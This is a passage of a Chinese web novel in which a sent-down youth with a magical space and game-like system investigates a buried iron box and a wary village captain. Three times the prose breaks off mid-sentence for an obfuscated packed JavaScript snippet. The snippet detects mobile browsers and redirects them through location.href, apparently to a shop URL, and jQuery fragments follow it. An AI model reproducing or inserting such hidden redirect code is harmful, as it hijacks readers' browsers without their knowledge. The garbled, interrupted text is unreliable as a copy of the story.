“晚照,你这个能借我用用吗?”王晓芬眼巴巴地看着。 “给。”林晚照递过去。 “你真好。”王晓芬接过来,小心翼翼地点了点,“明天还要干活,我这手肯定要起泡。” “慢慢就磨出茧子了。”林晚照说。 这是真话。农村生活,第一关就是适应体力劳动。原主的身体太弱,她得想办法加快这个适应过程。 灵泉水可以改善体质,但需要时间。而且不能表现得太明显,否则会引人怀疑。 正想着,窗外传来脚步声。是陈铁柱的声音,在和什么人说话: “……那棵老槐树?早砍了,大炼钢铁那年就砍了……” 林晚照的心猛地一跳。 她屏住呼吸,仔细听。 另一个声音是赵会计:“可惜了,那树有年头了。对了,你让我查的资料,我找着了……” 声音渐渐远去,听不清了。 老槐树被砍了。 沈红梅的铁盒,如果真埋在树下,现在在哪里?是被挖出来了,还是还埋在地下? 林晚照躺到床上,盯着黑暗中的房梁。油灯已经被吹灭,屋里只有月光从窗户纸透进来,在地上投出斑驳的光影。 同屋的三个人很快睡着了,发出均匀的呼吸声。 她却睡不着。 来到红星公社第一天,信息太多,需要消化。 陈铁柱的异常。老槐树被砍。工分的现实。还有那两个二流子不怀好意的目光…… 每一件都需要应对。 她闭上眼睛,意识沉入空间。 黑土地在月光下泛着幽暗的光泽,古井水面平静如镜。她在茅屋里坐下,开始整理思路。 首先,生存是第一位。要尽快适应劳动,赚够工分,保证基本生活。 其次,要完成和沈红梅的交易。老槐树被砍,铁盒的下落需要重新调查。这可能得从村里老人那里打听。 第三,要提防陈铁柱。这个人太敏锐,不能在他面前露出破绽。 第四,要改善生活条件。光靠工分不行,得想办法弄点额外收入。但不能冒险,这个年代对“投机倒把”抓得很严。 正想着,她突然感觉到一丝异样。 空间里的月光,好像比往常亮了一些。 她走出茅屋,抬头看天。空间没有日月,光源来自某种不知名的机制。但此刻,古井上方确实悬浮着一团柔和的莹光。 那光慢慢凝聚,化作一行字: 【检测到宿主进入新环境】 【支线任务触发:了解红星公社的秘密】 【任务提示:每揭开一个秘密,可获得奖励(粮食/物资/信息)】 【当前进度:0/7】 还有任务系统? 林晚照愣了一下。弹幕系统已经够神奇了,现在又多了任务? 那行字闪烁了几下,消散在空气中。但林晚照知道,它已经烙印在她的意识里。 七个秘密。 红星公社这个看似普通的山村,到底藏着什么? 她从空间退出来,回到现实。窗外传来夜鸟的叫声,远处有狗吠。 手腕上的银镯微微发烫,像是在回应她的思绪。 第二天天还没亮,钟声就响了。 上工的时间是早晨六点,天刚蒙蒙亮就得起床。林晚照和同屋的姑娘们匆忙洗漱,啃了两口昨晚剩的红薯饭,就跟着队伍往菜地走。 菜地在村西头,一片缓坡上。这个季节种的是白菜、萝卜和冬油菜,绿油油的一片。 负责带她们的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854256|191601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是个五十多岁的妇女,大家都叫她三婶。三婶说话利索,干活更快,示范了一遍除草的动作,就让她们自己干。 “仔细点,别把菜苗当草拔了!”三婶叮嘱,“中午有人送饭,干到太阳落山。” 一蹲就是一天。 林晚照学着三婶的样子,蹲在菜畦间,用小锄头仔细地除草。刚开始还行,半小时后,腰就开始酸,腿也开始麻。 她咬着牙坚持。灵泉水在悄悄起作用,她能感觉到,身体的疲劳恢复得比旁人快一些。 但也就快一些而已。 中午,果然有人送饭来。是李婶,提着个篮子,里面是窝窝头和咸菜,还有一瓦罐热水。 知青们围坐在田埂上吃饭。林晚照注意到,其他女社员吃的和她们一样,但那些男劳力有玉米饼子,还有人带了煮鸡蛋。 等级分明。 正吃着,远处走来几个人。是陈铁柱,带着陈二狗和陈三牛,像是来检查进度的。 三婶迎上去说话。陈铁柱一边听,一边目光扫过干活的知青们,在林晚照身上停留了片刻。 她在认真吃饭,小口小口地啃着窝窝头,动作斯文但速度不慢。额头上都是汗,碎发黏在脸颊上,看着有些狼狈,但眼神很平静。 “那个上海来的女娃,干活怎么样?”陈铁柱问三婶。 “还成。”三婶实话实说,“不娇气,就是身子弱,得多练。” 陈铁柱点点头,没说什么,转身走了。 陈二狗却凑过来,笑嘻嘻地对林晚照说:“妹子,累不累?哥帮你干点?” 林晚照抬起头,眼神清澈:“谢谢,不用。毛主席教导我们,劳动最光荣,我得自己锻炼。” 这话说得滴水不漏,陈二狗噎住了。 陈三牛在旁边笑:“二狗,人家不领情啊。” “去去去。”陈二狗悻悻地走了。 等他们走远,王晓芬才小声说:“晚照,你好厉害,我都不知道该怎么回。” “以后他们再搭话,你就说要找队长汇报工作。”林晚照低声教她,“抬出领导,他们就不敢太过分。” 这是她在职场学到的——对付不怀好意的人,最好的办法是让他们知道你背后有人。 下午继续干活。太阳西斜时,林晚照已经适应了这种节奏。手掌又磨出两个水泡,但她没吭声,悄悄抹了点万金油。 收工回知青点的路上,她看见陈铁柱站在村口那棵大樟树下,正和几个老农说话。夕阳给他的侧脸镀上一层金边,那张棱角分明的脸在光影中显得更加冷硬。 他似乎察觉到她的目光,转过头来。 两人隔着几十米的距离对视。 那一刻,林晚照突然有种奇怪的感觉——这个人,和她一样,都在这个山村里扮演着某个角色。 都在隐藏着什么。 陈铁柱先移开了视线,继续和老农说话。 林晚照收回目光,跟着队伍往回走。 晚饭还是红薯饭和炖菜,但肉已经没了。知青们累了一天,也顾不得挑剔,埋头苦吃。 吃完饭,林晚照借口要写信,去了队部。 队部是一间土坯房,里面摆着两张桌子,几个文件柜。墙上贴着毛主席像和各种奖状。赵会计正在灯下算账,见她进来,推了推眼镜。 “林同志,有事?” “我想借《毛主席选集》看看。”林晚照说,“顺便问一下,咱们村有老人知道以前的老槐树吗?我外婆说,槐树能入药,我想打听打听。” 赵会计抬起头,眼镜后的眼睛眯了眯:“老槐树啊……你问这个干什么?” “就是好奇。”林晚照笑得单纯,“我外婆喜欢槐花,说槐花蒸饭香。我就想,要是以后能找到槐花,给她寄点回去。” 这个理由天衣无缝。 赵会计看了她几秒,才说:“老槐树早砍了。不过村里刘老太爷可能知道,他今年八十多了,记性好。” “刘老太爷住哪儿?” “村东头,门口有棵枣树那家。”赵会计从柜子里拿出一本《毛主席选集》第一卷,“书只能在这儿看,不能带走。” “谢谢赵会计。” 林晚照接过书,在角落的长凳上坐下。她翻开书页,目光却透过窗户,望向村东头的方向。 刘老太爷。 八十多岁,记性好。 也许他能知道,那棵被砍的老槐树下,到底埋过什么。 窗外,夜色渐浓。 山村的夜晚格外安静,只有偶尔的狗吠和风声。 而在村东头那棵枣树下,陈铁柱正站在刘老太爷家门口,眉头紧锁。 他来晚了。 林晚照已经先一步,问起了老槐树的事。 7. 槐树下的秘密 刘老太爷家的土坯房在村东头最边缘,紧挨着后山。房子已经破旧,墙皮剥落,露出里面的黄泥和稻草。但门口那棵枣树却生得极好,枝干虬结,叶子已经落尽,在月光下投出张牙舞爪的影子。 林晚照站在门前,深吸一口气,抬手敲了敲那扇虚掩的木板门。 “谁啊?”里面传来苍老而沙哑的声音。 “刘爷爷,我是新来的知青林晚照,想跟您打听点事。”她尽量让声音显得乖巧。 门开了。 开门的是个瘦小的老头,头发全白,背有些佝偻,但眼睛却很亮,像深山里活了很久的动物。他上下打量林晚照,目光在她手腕上停顿了一瞬——那里,银镯在衣袖下露出一小截。 “进来吧。”刘老太爷侧身让开。 屋里很暗,只有一盏煤油灯在桌上跳动。土炕上铺着破旧的草席,墙角堆着些农具,空气里有股老年人屋里特有的气味,混合着草药和灰尘。 林晚照在唯一一张木凳上坐下,刘老太爷坐在炕沿,两人之间隔着一臂距离。这个距离很微妙——既不算亲近,也不会显得太疏远。 “想问什么?”刘老太爷开门见山。 “我想问问村里以前那棵老槐树。”林晚照斟酌着词句,“听赵会计说,您记得清楚。” 刘老太爷的眼睛在昏暗中闪了闪:“槐树啊……砍了快二十年了。1958年,大炼钢铁,公社来人,说那树够粗,能烧好几天炉子。” 他的声音很平静,但林晚照听出了一丝别的情绪——是遗憾?还是别的什么? “那树……有什么特别的吗?”她试探着问。 “特别?”刘老太爷笑了,露出缺了门牙的牙床,“特别大算不算?三个人合抱不过来。春天开一树白花,香得整村人都能闻到。秋天结荚,风一吹,哗啦哗啦响,像下雨。” 他的描述很生动,林晚照仿佛能看见那棵树当年的模样。 “就这些?” 刘老太爷沉默了。他盯着煤油灯跳动的火苗,好一会儿才说:“女娃娃,你为什么问这个?” 林晚照早就准备好了说辞:“我外婆喜欢槐花,说以前在上海,弄堂口有棵老槐树,她小时候常爬上去摘花。后来树砍了,她念叨了一辈子。我就想,要是能找到槐花,晒干了给她寄回去……” 这话半真半假,情感到位。 刘老太爷看着她,眼神很深。那目光不像八十岁老人应有的浑浊,反而清澈锐利,像是能看透人心。 “你外婆叫什么?”他突然问。 林晚照心里一紧,面上却平静:“陈婉清。” “陈婉清……”刘老太爷重复了一遍,摇摇头,“不认识。不过姓陈的……咱们公社倒是有几家。” 他顿了顿,又说:“那棵老槐树,除了大,还有个说法。” “什么说法?” “老一辈人说,那树有灵。”刘老太爷压低声音,“民国二十六年——就是1937年,日本鬼子打过来那年,有人在树底下埋了东西。” 林晚照的心跳漏了一拍。 1937年。和外婆得到镯子是同一年。 “埋了什么?”她尽量让自己的声音听起来只是好奇。 “谁知道呢。”刘老太爷摇摇头,“有人说是金银财宝,有人说是要紧文书。反正树砍的时候,公社派人把树根都刨了,也没见着什么东西。” “会不会是谣传?” “也许吧。”刘老太爷端起桌上的粗瓷碗喝了口水,“不过这谣传传了几十年,总有点由头。” 屋里安静下来,只有煤油灯芯燃烧的细微声响。 林晚照的大脑飞速运转。刘老太爷的话里信息很多:老槐树下确实埋过东西,时间节点和镯子流入民间的时间吻合。但东西在砍树时没找到——是被挖走了,还是根本没埋在那儿? 或者,埋的根本不是金银财宝,而是沈红梅说的那个铁盒? “刘爷爷,”她换了个角度,“您说那树有灵,有没有什么……特别的事发生过?” 刘老太爷看了她一眼,那眼神让林晚照有点发毛。过了好几秒,他才缓缓开口:“我十岁那年——那是1925年吧,村里闹瘟疫,死了好多人。我爹我娘都染上了,躺在床上等死。” 他的声音很轻,像在讲述别人的故事。 “那时候村里请了个道士,道士围着老槐树转了三圈,说树底下压着不干净的东西,要作法。作法那天晚上,全村人都去了,我也去了。” 煤油灯的火苗跳了一下。 “道士烧了符,念了咒,然后在树根下挖。挖了三尺深,挖出个陶罐。”刘老太爷的眼睛在昏暗中发亮,“陶罐里是一具婴儿的骨头,小小的,蜷成一团。” 林晚照的后背窜起一股凉意。 “道士说,那是民国初年,村里有个未婚先孕的姑娘,把孩子生下来就掐死了,埋在槐树下。孩子的怨气不散,就闹了瘟疫。” “后来呢?” “后来道士把骨头烧了,灰撒进河里。说来也怪,那之后瘟疫真就慢慢停了。”刘老太爷叹了口气,“所以老一辈都说,那树不吉利。1958年要砍树,好多老人拍手叫好。” 这个故事太离奇,离奇到林晚照不知道该怎么接话。 她原本只是来打听铁盒的下落,却听到了这样一个诡异的故事。是真是假?还是老人记混了,或者故意编出来吓她? “吓到了?”刘老太爷看她不说话,笑了,“你们城里娃娃,不信这些。” “我信。”林晚照认真地说,“万物有灵,老树活得久,总会有点故事。” 这话说得得体,刘老太爷点点头,似乎对她多了点好感。 “你外婆喜欢槐花,等明年春天,后山野槐林开了花,你去摘些就是。”他说,“不过别一个人去,山里不安全。” “谢谢刘爷爷提醒。” 正说着,门外突然传来脚步声。 林晚照转头,看见陈铁柱推门进来。他显然是跑来的,呼吸有些急促,额头上都是汗。 四目相对,两人都有些意外。 “队长?”林晚照站起身。 陈铁柱看了她一眼,又看向刘老太爷:“太爷,我找您有事。” 他的语气很急,但林晚照注意到,他手里拎着个布袋,鼓鼓囊囊的,像是粮食。 刘老太爷倒很平静:“铁柱来了啊,坐。这位是林知青,刚来咱们队。” “我知道。”陈铁柱把布袋放在桌上,在林晚照对面坐下,“林同志怎么在这儿?” 他的目光锐利得像刀子,直直刺向林晚照。 林晚照保持着镇定:“我来跟刘爷爷打听槐树的事,想给外婆寄点槐花。” “槐花?”陈铁柱的眉头皱了皱,“那得等明年春天。” “先打听清楚,到时候好去摘。” 两人一来一往,表面上客气,底下却暗流涌动。刘老太爷坐在中间,看看这个,又看看那个,突然笑了。 “你们俩,倒是挺像。” 这话说得没头没脑,林晚照和陈铁柱都是一愣。 “都爱打听老事。”刘老太爷补充道,“铁柱前几天也来问过槐树的事。” 林晚照心里一震。 陈铁柱也在打听槐树? 为什么? 她看向陈铁柱,发现对方的脸色变了变,虽然很快恢复正常,但那一瞬间的慌乱没逃过她的眼睛。 “我是听赵会计说太爷记性好,就来请教。”陈铁柱解释,但解释得有点刻意,“队里要修路,可能要动后山那片地,我得先了解情况。” 这个理由很官方,挑不出毛病。但林晚照不信。 “原来是这样。”她顺着话说,“那刘爷爷,我不打扰您和队长说正事了。今天谢谢您,我改天再来看您。” 她起身告辞,刘老太爷没留她,只是说:“有空来坐。” 陈铁柱站起来:“我送送林同志。” 两人一前一后出了门。 夜已经深了,山村静得能听见自己的心跳。月光把两人的影子拉得很长,投在黄土路上。 走出十几米,陈铁柱突然开口:“林同志对槐树很感兴趣?” “只是帮外婆打听。”林晚照侧头看他,“队长呢?修路需要了解槐树的历史?” 陈铁柱的脚步顿了顿:“了解清楚,免得出问题。” 两人继续往前走,谁都没再说话。但那种无形的张力在空气中弥漫,像绷紧的弓弦。 快到知青点时,陈铁柱突然说:“后山野槐林,女同志最好别一个人去。” 这话他之前说过,但这次说得更郑重。 “为什么?”林晚照问。 陈铁柱沉默了几秒:“山里野兽多,不安全。” 只是野兽吗? 林晚照不信。但她没追问,只是点点头:“谢谢队长提醒。” 陈铁柱看着她走进知青点的院子,身影消失在门后,才转身离开。他没回自己家,而是又折回了刘老太爷那儿。 屋里,刘老太爷还坐在炕沿,煤油灯已经调暗了。 “太爷,她问出什么了?”陈铁柱急切地问。 刘老太爷慢悠悠地喝了口水:“就问了槐树的事,说是给外婆寄槐花。” “您信?” “信不信不重要。”刘老太爷抬眼看他,“铁柱,你也在找那棵树下的东西,对吧?” 陈铁柱僵住了。 “别瞒我,我看着你长大的。”刘老太爷叹了口气,“你十岁那年摔下山洞,醒来后就像变了个人。别人看不出来,我看得出来。” 陈铁柱的手握成了拳,指节发白。 “太爷,我……” “你不用告诉我为什么。”刘老太爷摆摆手,“每个人都有自己的秘密。我只提醒你一句——那个女娃娃不简单。她手腕上戴的东西,我认得。” 陈铁柱猛地抬头:“什么东西?” “一对银镯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854257|191601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子,龙凤纹。”刘老太爷的眼睛在昏暗中闪着光,“1937年,我在县城的当铺见过。当时是一个女人拿来当的,说是家传的宝贝,要不是逃难缺钱,绝不会卖。” “那女人……” “姓陈,叫陈婉清。”刘老太爷一字一句地说,“就是林晚照的外婆。” 空气仿佛凝固了。 陈铁柱的呼吸急促起来。他终于明白,为什么第一次见到林晚照时会有那种奇怪的感觉——不是脸熟,而是她身上有种和他相似的气息。 那种不属于这个世界的气息。 “太爷,槐树下到底埋了什么?”他哑声问。 刘老太爷沉默了很久,久到陈铁柱以为他不会回答了。 “我不知道。”老人最终说,“但我爹告诉我,埋东西的那天晚上,他看见了。是几个穿军装的人,抬着个铁箱子,半夜摸黑埋的。埋完就走了,再没回来。” “军装?哪边的?” “看不清楚,天黑。”刘老太爷摇头,“但我爹说,其中一个人走路姿势很奇怪,像是受了伤,一瘸一拐的。” 陈铁柱的大脑飞速运转。1937年,穿军装的人,受伤,铁箱子……会是什么?军饷?武器?还是文件? “树砍的时候,真的什么都没挖出来?”他不甘心。 “公社的人挖了三尺深,只挖到些碎陶片,就是我跟你说的那个装婴儿骨头的罐子的碎片。”刘老太爷顿了顿,“不过……有件事我没告诉那个女娃娃。” “什么?” “砍树的前一天晚上,有人去挖过。” 陈铁柱的心跳骤然加速:“谁?” “不知道。那天晚上月亮很大,我起夜,看见槐树底下有个人影在挖。挖得很急,挖了大概一个时辰,然后抱着个东西跑了。”刘老太爷回忆道,“我当时害怕,没敢追,也没敢告诉别人。” “那人长什么样?” “天太黑,看不清。但个子不高,跑起来有点跛。” 跛脚。 又是跛脚。 陈铁柱的脑海里闪过几个可能的人选,但都不确定。那个年代,村里有几个跛脚的人?现在还在世的有几个? “这事还有谁知道?” “就我一个。”刘老太爷看着他,“铁柱,你要是真想找,得从跛脚的人查起。不过二十年了,那人也许早死了,也许东西早转移了。” 陈铁柱深吸一口气:“谢谢太爷。” “不用谢我。”刘老太爷摆摆手,“我老了,活不了几年了。这些秘密带到土里也是浪费,不如告诉你们这些年轻人。只是……小心点,别惹祸上身。” 陈铁柱点头,拎起布袋——里面是五斤玉米面,他每个月都会给刘老太爷送点粮食。老人无儿无女,全靠队里和乡亲接济。 走出门,夜风吹在脸上,凉飕飕的。 陈铁柱抬头看天,月亮已经偏西。他想起林晚照那双眼睛,清澈,冷静,底下藏着和他一样的东西——秘密。 他们都在找槐树下的东西。 但目的可能不同。 他需要弄清楚,林晚照到底是敌是友。 而此刻,知青点里,林晚照躺在木板床上,同样睡不着。 刘老太爷的故事在她脑海里回放。婴儿骨头,跛脚的人,深夜挖宝……这些碎片拼凑起来,指向一个更深更暗的谜团。 她原本只是想完成和沈红梅的交易,现在看来,这件事比她想象中复杂得多。 还有陈铁柱。 他也在找槐树下的东西,而且显然知道得比她多。 手腕上的银镯微微发烫,仿佛在提醒她,这一切都和她有关。 窗外的月光透过窗纸,在地上投出模糊的光斑。 林晚照闭上眼睛,意识沉入空间。黑土地在夜色中沉默,古井的水面倒映着不知名的微光。 她走到井边,低头看水中自己的倒影。 倒影里的少女,眼神坚定,但眉头微蹙。 “你到底卷进了什么?”她轻声问倒影。 水面泛起涟漪,倒影碎了又合。 而在涟漪深处,似乎有什么东西一闪而过——像是铁箱的轮廓,又像是一张模糊的人脸。 林晚照揉了揉眼睛,再看时,水面已经恢复平静。 是幻觉吗? 她不知道。 但她知道,从今晚起,她不能再把这件事仅仅看作一场交易。 槐树下的秘密,牵扯着1937年的往事,牵扯着外婆的镯子,牵扯着陈铁柱的异常,也牵扯着她自己。 她必须查清楚。 不管是为了沈红梅,还是为了她自己。 夜更深了。 山村的某个角落,一个跛脚的身影悄悄推开柴房的门,从墙角的破坛子里,摸出一个用油布包裹的铁盒。 铁盒已经锈迹斑斑,但锁还完好。 那人摸着铁盒,低声笑了。 “二十年了……终于有人来问了。” 8. 山雨欲来 清晨的钟声敲响时,林晚照已经醒了。 她躺在床上,盯着房梁上结的蛛网。昨夜从刘老太爷家回来后,她几乎没合眼,脑海里反复回响着那些信息——跛脚的神秘人、深夜挖走的铁盒、陈铁柱同样在追查的线索。 还有她自己手腕上这对镯子,竟在1937年就与红星公社产生了关联。 窗外天色还是青灰色,同屋的王晓芬翻了个身,嘟囔着:“这么早就响钟……” “该起了。”林晚照轻声说,坐起身来。 经过一夜的思索,她理清了几条思路:第一,槐树下的铁盒很可能已被挖走,但要确定挖走的人是谁,铁盒里究竟是什么;第二,陈铁柱知道得不少,且对她有戒备,需要谨慎接触;第三,她自己的秘密绝不能暴露。 穿好衣服下床时,她感觉身体比昨天轻快了些。灵泉水在持续改善这具身体的体质,虽然缓慢,但确实有效。 “晚照,你手好了?”王晓芬看着她拆开裹手的布条,惊讶地问。 林晚照低头看去,掌心昨天磨出的水泡已经结痂,红肿也消退了。这恢复速度快得不正常。 “抹了药,好得快。”她含糊解释,迅速将布条重新缠上,遮住那些过快的愈合痕迹。 早饭依旧是红薯稀饭和咸菜。知青们围坐在院子里,就着晨光吃饭。张建军压低声音说:“我昨晚听见动静了。” “什么动静?”李秀英好奇地问。 “后山那边,有挖土的声音。”张建军神色严肃,“叮叮当当的,响了小半夜。” 林晚照心里一动。 “是不是野兽?”王晓芬害怕地问。 “不像,野兽哪会挖土。”张建军摇头,“更奇怪的是,今早我去看了,那块地被人翻过,又仔细填平了,像在找什么东西。” 这话让林晚照确定,昨夜确实有人在后山活动。是那个跛脚的神秘人吗?还是陈铁柱? 她不动声色地继续吃饭,耳朵却竖起来听着周围的动静。 果然,不一会儿,陈铁柱来了。他今天换了身打补丁的旧军装,腰间别着柴刀,脸色比平时更冷峻。 “吃完去晒谷场集合,今天有任务。”他简短地通知,目光在知青们脸上一一扫过,在林晚照脸上多停留了一瞬。 那眼神里有审视,有警告,还有一丝林晚照读不懂的东西——像是某种共鸣的警惕。 早饭后的晒谷场已经聚了不少人。男女老少都有,扛着锄头、铁锹,等着队长分配任务。深秋的早晨气温很低,说话时能看到白色的呵气。 陈铁柱站在碾谷子的石碾上,声音洪亮:“今天男劳力去修水渠,女劳力一部分去菜地,一部分跟我去后山清理野坟。” “清理野坟?”底下有人议论起来。 “对,公社下了通知,要平整土地,扩大耕种面积。”陈铁柱解释道,“后山那片无主的老坟要迁走,埋得浅的今天处理,埋得深的明天再说。” 人群里响起几声叹息。迁坟在农村是大事,但公社的命令不能违抗。 林晚照心里却是一紧。 后山——正是刘老太爷说的野槐林所在地,也是昨夜有人挖土的地方。陈铁柱选择今天清理那片区域,是巧合,还是故意? “林晚照,王晓芬,李秀英,刘翠翠。”陈铁柱开始点名,“你们四个女知青,跟我去后山。” 被点名的四人互相对视一眼。王晓芬脸色发白:“队长,我们……我们去迁坟?” “怕了?”陈铁柱看过来,“不用你们动手挖,就在旁边帮着清理杂草,把挖出来的骨头装坛子。” 他说得轻描淡写,但几个女知青还是吓得够呛。 林晚照却从中嗅到了机会。去后山,就能名正言顺地探查那片区域,也许能找到昨夜挖土的痕迹。 “我们服从安排。”她率先表态。 陈铁柱点点头,又点了几个村里胆子大的妇女,一行十几人往后山走去。 --- 后山离村子约莫二里地,山路崎岖,长满半人高的野草和灌木。深秋的草木已经枯黄,踩上去沙沙作响。 越往深处走,林子越密。阳光被层层枝叶过滤,只剩下斑驳的光斑洒在地上。空气中弥漫着泥土和腐叶的味道,偶尔还能闻到某种说不清的、类似铁锈的气息。 “就是这儿了。”陈铁柱在一片相对开阔的坡地停下。 这里散落着十几个土包,大多已经塌陷,墓碑歪斜,字迹模糊不清。有的坟头长满了荆棘,有的则被野草淹没。 林晚照环顾四周,很快发现了目标——坡地边缘,有一小片槐树林。树干不粗,显然是后来长起来的野槐,但位置正好在刘老太爷描述的范围内。 昨夜被挖过的地方在哪里? 她悄悄移动脚步,目光扫过地面。枯叶覆盖的泥土上,有几处颜色较深,像是刚翻动过。其中一处就在一丛野蔷薇旁,离槐树林不到十米。 “开始干活。”陈铁柱分配任务,“三婶带人从东头开始挖,女知青负责清杂草、装坛子。小心点,别惊扰了先人。” 说完,他深深看了林晚照一眼,然后转身去指导男人们挖坟。 林晚照和王晓芬分在一组,负责清理最西头的两座坟。坟头长满了荆棘,稍不注意就会被划伤。 “晚照,我害怕……”王晓芬声音发抖。 “别怕,就当是在劳动。”林晚照安慰她,手上动作不停。她借着拔草的机会,一点点靠近那片被翻动过的地面。 弹幕系统悄然启动: 【检测到土壤扰动痕迹:深度约0.5米,面积0.8平方米,扰动时间在12小时内】 【土壤中残留微量金属反应(铁制品锈蚀)】 【建议:向下挖掘可能有所发现】 果然有人挖过。 林晚照心跳加速。她装作不小心被绊倒,跌坐在那片松软的泥土上,手掌顺势按下去。 泥土里,有什么硬硬的东西。 她不动声色地拨开浮土,指尖触到一个冰凉坚硬的物体——像是一块铁片,边缘已经锈蚀。 “晚照,你没事吧?”王晓芬过来扶她。 “没事,绊了一下。”林晚照迅速将那块铁片攥在手心,借着起身的动作塞进裤兜。动作快得几乎无人察觉。 除了一个人。 二十米外,陈铁柱直起身,目光如炬地看向她。他显然看到了她的小动作,眉头皱了起来。 林晚照心里一紧,但面上保持镇定,继续低头拔草。 中午,送饭的人来了。大家坐在坟地旁的树荫下休息,就着凉水啃窝窝头。 林晚照借着上厕所的借口,走到稍远的灌木丛后。她掏出那块铁片仔细看——是一块巴掌大的铁皮,锈迹斑斑,但还能看出原本的形状:弧形,边缘有钉孔。 像是某个容器的碎片。 她集中精神,启动“深度解析”功能——这是升级后每天仅有一次的珍贵机会。 弹幕浮现: 【物品:军用铁箱残片】 【年代:约1930-1940年】 【状态:严重锈蚀】 【关联信息:此铁箱规格为标准军用物资箱,常用于装运文件、药品或小型装备。碎片上检测到微弱血迹反应(O型血,男性)】 【隐藏线索:此碎片出土位置下方0.7米处,埋有完整铁箱的可能性为87%】 林晚照的心脏狂跳起来。 军用铁箱、血迹、1937年……一切都对得上。 但问题来了:昨夜挖土的人挖走了什么?如果铁箱还在下面,那人挖走的是什么?如果铁箱被挖走了,这片碎片又是怎么留下的? 她将碎片重新藏好,回到人群。陈铁柱正在和三婶说话,见她回来,目光在她裤兜位置停留了一瞬。 “林同志,”他忽然开口,“你脸色不太好,是不是累了?” “有点。”林晚照顺着他的话说。 “那下午你在旁边记录吧。”陈铁柱递过来一个小本子和一支铅笔,“把迁坟的数量、位置记下来,公社要备案。” 这是个轻松的活,也是监视她的好借口。林晚照接过本子:“谢谢队长。” 下午的挖掘工作继续进行。随着一座座老坟被挖开,腐朽的棺木露出,白骨被小心地捡起,装入备好的陶坛中。整个过程肃穆而压抑,连平时爱说笑的三婶都沉默了许多。 林晚照坐在一旁的大石头上,认真记录。但她的余光始终留意着陈铁柱的动作。 陈铁柱干得很卖力,汗湿的军装贴在背上,勾勒出结实的肌肉线条。他挖土的动作熟练而高效,每一锹都深而准,显然是个干活的好手。 但林晚照注意到,他有意无意地,总在那片被翻动过的区域附近徘徊。 有两次,他甚至蹲下来,仔细查看那里的土壤。如果不是林晚照一直注意着,根本发现不了他这些细微的动作。 他在找什么?或者说,他在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854258|191601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 确认什么? 夕阳西斜时,今天的工作告一段落。一共清理了八座坟,装了十二个陶坛——有的坟里不止一具尸骨。 “剩下的明天继续。”陈铁柱宣布收工,“坛子先放在这儿,明天找风水先生看个好日子,再统一迁到新坟场。” 众人拖着疲惫的身体下山。林晚照走在队伍末尾,故意放慢脚步。 就在快要走出坟地时,她回头看了一眼。 夕阳的余晖给这片坟地镀上一层诡异的金红色。那些刚被挖开的土坑像大地张开的伤口,露出深色的内里。 而在那片槐树林的阴影里,她似乎看见一个人影一闪而过。 跛脚的,佝偻的。 她猛地停下脚步,再细看时,人影已经消失了。 “看什么呢?”陈铁柱的声音突然在身后响起。 林晚照转过身,发现他不知何时折返回来,就站在她身后几步远的地方。 “没什么,好像看到只野兔。”她随口编了个理由。 陈铁柱没说话,只是盯着她看了几秒,然后说:“天快黑了,山里不安全,赶紧下山。” 两人一前一后往下走。山路狭窄,只能容一人通过。陈铁柱走在前面,林晚照跟在后面,沉默在两人之间蔓延。 走到半山腰时,陈铁柱突然开口:“林同志,你在上海,听说过陈婉清这个人吗?” 林晚照的心猛地一跳。 来了。他终于问到了关键。 “是我外婆的名字。”她尽量让声音平稳,“队长怎么知道?” 陈铁柱的脚步顿了顿:“听人提过一句。你外婆……是做什么的?” “家庭妇女,没工作。”林晚照按照原主记忆回答,“我外公早逝,她一个人把我妈拉扯大。” “1937年,她在上海?” 这个问题太具体,太尖锐。 林晚照的大脑飞速运转。陈铁柱为什么会知道1937年这个时间点?是刘老太爷告诉他的,还是他自己查到的? “那年我才刚出生,不清楚。”她选择避重就轻,“队长怎么问起这个?” 陈铁柱沉默了几秒:“随便问问。” 两人继续下山。但气氛已经变了,某种心照不宣的试探在空中拉扯。 快到村口时,陈铁柱又说:“林同志,有些事,不知道比知道安全。” 这是警告。 林晚照停下脚步,看着他的背影:“队长是在提醒我什么?” 陈铁柱转过身,夕阳的光从他身后射来,将他的脸藏在阴影里:“只是觉得,你一个城里来的女娃娃,好好劳动就行,别的事少打听。” “谢谢队长关心。”林晚照语气平静,“但我这个人有个毛病——好奇心重。” 两人对视。黄昏的风吹过,卷起地上的落叶。 陈铁柱的眼神很复杂,有警告,有探究,还有一丝林晚照读不懂的……同情? “随你吧。”他最终说,转身继续走,“但出了事,别怪我没提醒。” 回到知青点,晚饭已经准备好了。但林晚照没什么胃口,匆匆扒了几口饭就回了屋。 她躺到床上,从裤兜里摸出那块铁片,借着窗外的月光仔细端详。 